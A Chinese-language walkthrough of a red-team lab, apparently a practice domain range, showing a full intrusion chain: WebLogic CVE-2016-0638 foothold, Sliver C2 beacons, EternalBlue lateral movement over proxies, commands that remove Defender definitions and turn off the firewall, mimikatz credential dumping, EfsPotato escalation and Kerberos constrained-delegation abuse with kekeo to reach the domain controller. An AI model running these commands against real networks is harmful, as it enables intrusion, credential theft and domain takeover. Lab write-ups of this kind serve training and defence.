Sliver C2通关渗透攻击红队内网域靶场2.0

准备

2012 server

第一台机器开机后,要在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain​手动运行下 startWebLogic.cmd​,但是我访问7001遇到了报错:

是路径配置错误,但是没搜到什么解决方法,全踏马互相抄互相抄。去问chatgpt,给出的解释是去访问http://127.0.0.1:7001/console

访问这个页面会开始部署,页面不停的刷新。

之后就可以成功的进入页面。

网卡也要配置,在控制面版中将网卡改成自动获取IP,他默认是10.10.0.12

windows 7 PC

也是一样的配置网卡,选择随机。需要输入认证:

先输入域账户:redteam\saul:admin!@#45

再输入域管的账户:Administrator:Admin12345

最后的配置:

win 2008 sql server

认证需要先输入域账户:redteam\sqlserver:Server12345

再输入本地管理员:Administrator:Admin12345

最后的配置:

除此之外要看看是否开启了sql server,在服务中查看有没有开启,且当前用户无权开启。

然后以管理员身份开cmd也启动不了。

sql server管理配置器中启动也不行

查看Windows日志,很多报错,看样子是时间调整了导致超过了180天不能使用了

此处版本不用更改,然后去搜密钥,这个老哥的可以用:传送门

之后就是下一步下一步然后确定即可,等待升级完成。此时再通过命令行启动就没有问题了。

bash 复制代码
net start MSSQLSERVER

域控

如下:

网络拓扑

名称 ip1 ip2
ubuntu 192.168.130.14 /
win 2012 外网服务器 192.168.130.4 10.0.10.4
win 7 个人PC 10.0.10.5 10.0.20.5
邮件服务器 10.0.20.4 /
域控 10.0.20.6 /

外网打点

拿到目标IP192.168.130.4​,Ubuntu启动,nmap启动,扫描之后看到开放的端口如下:

bash 复制代码
 

依次访问各个端口:

weblogic一把梭

上工具检测weblogic有没有历史漏洞,得到CVE-2016-0638有回显可以利用。

​​​

注入内存马

直接注入内存马用哥斯拉连接上去。

用哥斯拉自带的模块抓一下密码,但由于是win2012,系统会开启LSA保护,明文密码字段会显示null。不过这里可以看到是工作组环境。

派生至sliver上线

新建生成beacon的配置文件,使用配置文件来生成马子,通过哥斯拉上传执行来上线sliver。

信息收集

新建一个session会话,收集到存在第二个网段。

永恒之蓝横向

使用命令socks5 start​开启代理,修改/etc/proxychains.conf​,挂上代理扫这个c段,过滤物理机和当前机器。发现存在另外一个10.0.10.5且存在永恒之蓝。

看到开启了445端口,尝试用命名管道进行中转,生成对应的shellcode。

挂代理使用脚本去打,这个试了几次都超时了。

有点效果,给打蓝屏了,但是得不到shell。

使用go写的脚本也不行,对shellcode的大小有限制,即使是打个计算器都要等很久还失败了。

无奈使用msf,开启并挂上代理,指定正向马来开session。但是给sliver的session给整断掉了。

bash 复制代码
setg Proxies socks5:127.0.0.1:7878
setg ReverseSAllowProxy true

服务端配置如下:

bash 复制代码
[common]
bind_addr =192.168.130.14
bind_port = 7000

客户端配置如下,传到win 2012上执行。

bash 复制代码
[common]
server_addr = 192.168.130.14
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

再次挂上新的代理setg Proxies socks5:127.0.0.1:7777​拿下了shell。

内网渗透

tcp中转马

但是传了几个马子上去都回连不上,尝试关闭defender和防火墙。sliver还是不够稳定,直接用shell就进不去会卡住,也不监听ctrl c来给用户取消,一退出去session就没了。使用execute就是对中文不友好会乱码。关闭之后就陆续有前面的马子回连了。

bash 复制代码
execute -o cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
execute -o cmd /c netsh advfirewall show all state
execute -o cmd /c netsh advfirewall set allprofile state off

这里我删除之后尝试重新执行上传的马子,发现命名管道中转的都没有成功,最后只有使用tcp的可以上线:

内网信息收集

在本机继续收集信息,当前权限最高,可以抓一手密码。

获取凭据

msf中内置了mimikatz就不用再从sliver中传上去操作,抓到了密码Saul:admin!@#45​。

出了点问题滚了快照,msf没配置成,临时配了个viper再打一次。查看域信息,发现存在域:

bash 复制代码
// 查看域用户
net user /domain
// 查看域控
net group "domain controllers" /domain
// 查看域管理员
net group "domain admins" /domain

sliver中还是一开shell就会卡死,但是可以用插件来收集:

查看进程,没有域管进程,无法窃取令牌。

横向移动

sliver方便的就是挂代理很方便,可以直接挂起开fscan来扫,这看到除了本机,物理机外还有两台机器,4为sql server,6就是域控了,同时扫出来sql server有弱口令sa;sa​。

要想办法拿下域控,这里看到域控有web服务,但无法利用。

SQL server上则是一个2s。

用mimikatz只抓到了win7上sual的凭据没法接着利用,但可以用来查询域内被配置了委派的用户。看了一下shell那块的源码,可能是没有获取到cmd或者powershell的路径而卡住了:

尝试自己指定path,确实可以开启交互式shell了,但是传AdFind上去执行又卡了(其他命令还是正常的):

bash 复制代码
shell -s c:\\windows\\system32\\cmd.exe

execute执行成功后可以看到可以看到sqlserver被设置了约束委派:

bash 复制代码
execute -o AdFind.exe -h 10.0.20.6 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

弱口令接管SQL SERVER

那要想办法拿下这台SQL server,利用前面的弱口令来连接数据库。

生成中转马,通过工具上传上去。执行后上线。

EsfpPotato提权

sliver中自带的提权模块失败了,点击on plus​加载工具中的esfPotato之后再次执行马子上线。

sliver的armory中没有mimikatz模块,为了方便使用,在/home/$user/.sliver-client/aliases​下创建文件夹mimikatz,添加配置文件以及64和32位的mimikatz.exe,之后aliases load /home/\$user/.sliver-client/aliases/mimikatz​。

bash 复制代码
{
  "name": "Mimikatz",
  "version": "2.2.0",
  "command_name": "mimikatz",
  "original_author": "gentilkiwi",
  "repo_url": "https://github.com/gentilkiwi/mimikatz",
  "help": "mimikatz is a tool I've made to learn C and make somes experiments with Windows security.",

  "entrypoint": "Main",
  "allow_args": true,
  "default_args": "",
  "is_reflective": false,
  "is_assembly": true,
  "files": [
    {
      "os": "windows",
      "arch": "amd64",
      "path": "mimikatz.exe"
    },
    {
      "os": "windows",
      "arch": "386",
      "path": "mimikatz386.exe"
    }
  ]
}

抓到密码Server12345​:

bash 复制代码
mimikatz "privilege::debug" "serkurlsa::logonpasswords" "exit"

约束委派接管域控

拿到了密码,使用rubues老报错,故尝试使用kekeo 请求TGT,会在当前目录下产生一个TGT:TGT_sqlserver@READTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirib

bash 复制代码
k.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:sqlserver.kirbiex"

使用申请的TGT伪造administrator的服务票据

bash 复制代码
k.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

导入票据之前无法访问域控:

使用mimikatz导入伪造的票据,之后可以访问到域控。

bash 复制代码
kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi